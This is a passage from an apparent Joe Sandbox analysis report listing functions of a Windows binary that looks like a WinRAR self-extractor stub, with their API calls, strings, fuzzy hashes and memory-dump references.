Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: CharUpper
String ID: -
API String ID: 9403516-2547889144
Opcode ID: 188ac2dfe6f2bd1bd7fb6d116333cb1d6b48eaec04dbb858b117f718773906be
Instruction ID: 98492747486e7753ae481c6739115052ee4af3371bbfa6a6c3f89ea3a6055c1a
Opcode Fuzzy Hash: 188ac2dfe6f2bd1bd7fb6d116333cb1d6b48eaec04dbb858b117f718773906be
Instruction Fuzzy Hash: 8721E77240C34699F321FB2C8808B7BB798EB45364F8A841BF4C8C6941E674D898DB73

Function 00D89123 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 00D712E7: GetDlgItem.USER32(00000000,00003021), ref: 00D7132B
Part of subcall function 00D712E7: SetWindowTextW.USER32(00000000,00DA02E4), ref: 00D71341

EndDialog.USER32(?,00000001), ref: 00D891AB
GetDlgItemTextW.USER32(?,00000065,00000000,?), ref: 00D891C0
SetDlgItemTextW.USER32(?,00000065,?), ref: 00D891D5

Strings

ASKNEXTVOL, xrefs: 00D8913B

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: ASKNEXTVOL
API String ID: 445417207-3402441367
Opcode ID: e4462639d8e309bf9ef3c73d56234697502bc60bde3317e66733f9ab90557322
Instruction ID: e07fbdc8c7738b3ce283fa24b70ecfc14a1556acfb6f6ace7a64ee930a72d618
Opcode Fuzzy Hash: e4462639d8e309bf9ef3c73d56234697502bc60bde3317e66733f9ab90557322
Instruction Fuzzy Hash: 8911D332249307BFD611AFA8DD5EF76BBA9EB4A705F084110F281DB1A4C7619C01DB36

Function 00D89646 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 00D712E7: GetDlgItem.USER32(00000000,00003021), ref: 00D7132B
Part of subcall function 00D712E7: SetWindowTextW.USER32(00000000,00DA02E4), ref: 00D71341

EndDialog.USER32(?,00000001), ref: 00D89694
GetDlgItemTextW.USER32(?,00000065,?,00000080), ref: 00D896AC
SetDlgItemTextW.USER32(?,00000066,?), ref: 00D896DA

Strings

GETPASSWORD1, xrefs: 00D8965F

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: GETPASSWORD1
API String ID: 445417207-3292211884
Opcode ID: 3c8cad495726f7ccde9d6d72ca2791634e155df9caf658ed71c829188e9d8b79
Instruction ID: 5cdb1ba89fc0e7cc75d758f2a321248ebc4aa03b3021298982d253395fdd257c
Opcode Fuzzy Hash: 3c8cad495726f7ccde9d6d72ca2791634e155df9caf658ed71c829188e9d8b79
Instruction Fuzzy Hash: 4611083250021977DB21AE789D5AFFAB76CEF0A740F180110FA89F3580E2A5DD04D7B1

Function 00D7B100 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00D7B127

Part of subcall function 00D73F5B: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00D73F6E

_wcschr.LIBVCRUNTIME ref: 00D7B145
_wcschr.LIBVCRUNTIME ref: 00D7B155

Strings

%c:\, xrefs: 00D7B11D

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: _wcschr$__vswprintf_c_l_swprintf
String ID: %c:\
API String ID: 525462905-3142399695
Opcode ID: 259fb21e6715b8980a1093453a13688a0eb44b65ee8fcdb0499914752259d44c
Instruction ID: 1a200a5249ad3a50b1eb4eb2a8b0266c96ec51b3309318b9b707f7082e6882fa
Opcode Fuzzy Hash: 259fb21e6715b8980a1093453a13688a0eb44b65ee8fcdb0499914752259d44c
Instruction Fuzzy Hash: 3501925750472179DB20AB659C86E6BB7ACEE963B0B94841BFC8CD6081FB20D850C2B1

Function 00D7F930 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(000001A0,00DB1E74,00000000,?,?,00D7FB88,00000020,?,00D7A7C2,?,00D7C74B,?,00000000,?,00000001,?), ref: 00D7F969
CreateSemaphoreW.KERNEL32(00000000,00000000,00000020,00000000,?,00D7A7C2,?,00D7C74B,?,00000000,?,00000001,?,?,?,00D83AFF), ref: 00D7F973
CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,00D7A7C2,?,00D7C74B,?,00000000,?,00000001,?,?,?,00D83AFF), ref: 00D7F983

Strings

Thread pool initialization failed., xrefs: 00D7F99B

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: b3b6310595d601da2418f4849ea3dfef6e57b678849b6705a3156128fa522365
Instruction ID: 7abc40b41045750a779e47b8351e460f06d9ff584b494538819c3f69ed6a480a
Opcode Fuzzy Hash: b3b6310595d601da2418f4849ea3dfef6e57b678849b6705a3156128fa522365
Instruction Fuzzy Hash: 96112EB1600705AFD3305F659885AABFBECEB56355F14882EE2DEC3240EB716840CB70

Function 00D8BEE7 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

Strings

REPLACEFILEDLG, xrefs: 00D8BF2C, 00D8BF5E
RENAMEDLG, xrefs: 00D8BF42

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: 82865eb3c93942cda9bab49339d65e980b7c8830f4bea4fb2ecdbab31bcf53ac
Instruction ID: b0a23fd19effccfb2dc1957795d0d96e25019c6e65ad39c678becbc149fb6624
Opcode Fuzzy Hash: 82865eb3c93942cda9bab49339d65e980b7c8830f4bea4fb2ecdbab31bcf53ac
Instruction Fuzzy Hash: 8D015E76609306EFC701AB58EC40E36BBE9EB4A7A4F040627E691D2330D3329805EF71

Function 00D7CE48 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 00D7CE57
FindResourceW.KERNEL32(00000000,RTL,00000005), ref: 00D7CE66

Strings

LTR, xrefs: 00D7CE76, 00D7CE81, 00D7CE8A
RTL, xrefs: 00D7CE5F, 00D7CE64, 00D7CE98

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: LTR$RTL
API String ID: 3537982541-719208805
Opcode ID: 0d6b3e30a8b53c7f0effa7625f66a7bccbe54f35494056132ae470e445a138e0
Instruction ID: 4144e7d181f5397f7b0def25fedb555a04ddedee84eebe20c74d41183dec7a14
Opcode Fuzzy Hash: 0d6b3e30a8b53c7f0effa7625f66a7bccbe54f35494056132ae470e445a138e0
Instruction Fuzzy Hash: 79F02B316143146BE72456755C0AF6B3BACE786710F04825DF649C61C0EBA5990887F5

Function 00D96552 Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00D965DD
__alldvrm.LIBCMT ref: 00D967DE
__alldvrm.LIBCMT ref: 00D96800

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 2f430cb2a74aa859eafc5ddd4affd14cc97d35a892c3f37a2c0f3c52710f6d69
Instruction ID: ed7049e60c3188789c704e7a924993d60268f56fdfc6b1f386d06ad79f0a1e68
Opcode Fuzzy Hash: 2f430cb2a74aa859eafc5ddd4affd14cc97d35a892c3f37a2c0f3c52710f6d69
Instruction Fuzzy Hash: C3A148719003869FEF21DFA8C891BAEBBE5EF15354F2841ADE4959B281D238DD41C770

Function 00D79F2A Relevance: 6.1, APIs: 4, Instructions: 127filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,?,00000000,?,00D77F55,?,?,?), ref: 00D79FD0
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,00000800,?,00000000,?,00D77F55,?,?), ref: 00D7A014
SetFileTime.KERNEL32(?,00000800,?,00000000,?,00000000,?,00D77F55,?,?,?,?,?,?,?,?), ref: 00D7A095
CloseHandle.KERNEL32(?,?,00000000,?,00D77F55,?,?,?,?,?,?,?,?,?,?,?), ref: 00D7A09C

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: 913418c87a52fd6748226b1cd6335ccc16c6dea4d6ec4f3c912efcfe93c64d6d
Instruction ID: f0245fbda7056a0cb7f8dd5763db568959e8da3e11cce931b261edb8a7aff0ea
Opcode Fuzzy Hash: 913418c87a52fd6748226b1cd6335ccc16c6dea4d6ec4f3c912efcfe93c64d6d
Instruction Fuzzy Hash: 77419E31248381AAD731DF28DC55BAEFBE8AF85700F08891DF5E8D31C1E6649A489773

Function 00D89A76 Relevance: 6.1, APIs: 4, Instructions: 55windowCOMMON

Download Yara Rule

APIs

LoadBitmapW.USER32(00000065), ref: 00D89A86
GetObjectW.GDI32(00000000,00000018,?), ref: 00D89AA7
DeleteObject.GDI32(00000000), ref: 00D89ACF
DeleteObject.GDI32(00000000), ref: 00D89AEE

Part of subcall function 00D88BD0: FindResourceW.KERNELBASE(00000066,PNG,?,?,00D89AC8,00000066), ref: 00D88BE1
Part of subcall function 00D88BD0: SizeofResource.KERNEL32(00000000,75295780,?,?,00D89AC8,00000066), ref: 00D88BF9
Part of subcall function 00D88BD0: LoadResource.KERNEL32(00000000,?,?,00D89AC8,00000066), ref: 00D88C0C
Part of subcall function 00D88BD0: LockResource.KERNEL32(00000000,?,?,00D89AC8,00000066), ref: 00D88C17

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: Resource$Object$DeleteLoad$BitmapFindLockSizeof
String ID:
API String ID: 142272564-0
Opcode ID: c775fa4712db0e575c5fd6de54714a3b10b4ea20ff217d14cc8727d5bbadae5c
Instruction ID: 26ea40155f50b7bf52aeccd96a87991a68daf77ae0dfa06c7969e506a0125b10
Opcode Fuzzy Hash: c775fa4712db0e575c5fd6de54714a3b10b4ea20ff217d14cc8727d5bbadae5c
Instruction Fuzzy Hash: 1A01F23264031537D71177789C42EBFB6AEEF86B61F4C0111B940E7291DE618C01A3B1

Function 00D91009 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 00D91020

Part of subcall function 00D91658: ___AdjustPointer.LIBCMT ref: 00D916A2

_UnwindNestedFrames.LIBCMT ref: 00D91037
___FrameUnwindToState.LIBVCRUNTIME ref: 00D91049
CallCatchBlock.LIBVCRUNTIME ref: 00D9106D

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
String ID:
API String ID: 2633735394-0
Opcode ID: 7d12082e9d69d4eb274960970e4ac3fc094051ebbb053271e04eeb65a8542b8b
Instruction ID: 89dcd15d0b38bf27c9a09276813b889bc97abbd3b467b116cc91b0fd860a22eb
Opcode Fuzzy Hash: 7d12082e9d69d4eb274960970e4ac3fc094051ebbb053271e04eeb65a8542b8b
Instruction Fuzzy Hash: 4201E936400149FBCF226F55CC41EDA3BBAEF58754F154515FA5865120D332E8A2EBB0

Function 00D90B66 Relevance: 6.0, APIs: 4, Instructions: 14COMMON

Download Yara Rule

APIs

___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 00D90B66
___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 00D90B6B
___vcrt_initialize_locks.LIBVCRUNTIME ref: 00D90B70

Part of subcall function 00D91C0E: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 00D91C1F

___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00D90B85

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
String ID:
API String ID: 1761009282-0
Opcode ID: e1efccc91d6ca86c87a370a4cfe5ee176f52a00580c29e2aebafd7fd9b0014c7
Instruction ID: aad7fc89738d8d3cc9e19597470ff418d0dcb027d636a09008554d5ebfaedf05
Opcode Fuzzy Hash: e1efccc91d6ca86c87a370a4cfe5ee176f52a00580c29e2aebafd7fd9b0014c7
Instruction Fuzzy Hash: 93C0486C1842439C1F203EB076021AE4B908C62BDDB8451C9FC9A1B823AA16880A6036

Function 00D88CF3 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

Part of subcall function 00D88BA5: GetDC.USER32(00000000), ref: 00D88BA9
Part of subcall function 00D88BA5: GetDeviceCaps.GDI32(00000000,0000000C), ref: 00D88BB4
Part of subcall function 00D88BA5: ReleaseDC.USER32(00000000,00000000), ref: 00D88BBF

GetObjectW.GDI32(?,00000018,?), ref: 00D88D24

Part of subcall function 00D88EEA: GetDC.USER32(00000000), ref: 00D88EF3
Part of subcall function 00D88EEA: GetObjectW.GDI32(?,00000018,?), ref: 00D88F22
Part of subcall function 00D88EEA: ReleaseDC.USER32(00000000,?), ref: 00D88FB6

Strings

(, xrefs: 00D88DEF

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: ObjectRelease$CapsDevice
String ID: (
API String ID: 1061551593-3887548279
Opcode ID: a0e01736feba7b80946e34e73b310ca3b09a86d1aab4a80e883c0bb497d0bf4f
Instruction ID: d28bb49a76ce76db8e0c8165454c68c3a0b6abc98f90d49a77305a9f52722b8f
Opcode Fuzzy Hash: a0e01736feba7b80946e34e73b310ca3b09a86d1aab4a80e883c0bb497d0bf4f
Instruction Fuzzy Hash: B361F4B1204305AFD210EF64C888E6BBBE9FF89704F50495DF599C7260DB71E909DB62

Function 00D801DF Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 178COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00D803A5

Strings

%s: %s, xrefs: 00D803B4
%ls, xrefs: 00D8021E, 00D80234

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: _swprintf
String ID: %ls$%s: %s
API String ID: 589789837-2259941744
Opcode ID: 956f9339b291e942d9e37c00713bdba0c98f94b794ea56bad526764c1c61fedd
Instruction ID: c8641a3ec88de3db28e1c0a1bcb7e7e6d3188fac22c1a2fad77b6f9dab521fe5
Opcode Fuzzy Hash: 956f9339b291e942d9e37c00713bdba0c98f94b794ea56bad526764c1c61fedd
Instruction Fuzzy Hash: 8251863528C310FAEAE136948C4AF397E55EF45F00F60C50AB7DA644EAC5D1D85C673A

Function 00D77619 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131timeCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D7761E
SetFileTime.KERNEL32(?,?,?,?,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00D77799

Part of subcall function 00D7A0C3: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00D79EF9,?,?,?,00D79D92,?,00000001,00000000,?,?), ref: 00D7A0D7
Part of subcall function 00D7A0C3: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00D79EF9,?,?,?,00D79D92,?,00000001,00000000,?,?), ref: 00D7A108

Strings

:, xrefs: 00D7768F

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: File$Attributes$H_prologTime
String ID: :
API String ID: 1861295151-336475711
Opcode ID: 9f51accf2e6c36a5ac3aed7f4371bc7c89ad168635f9254af3da8760cfaf1ac8
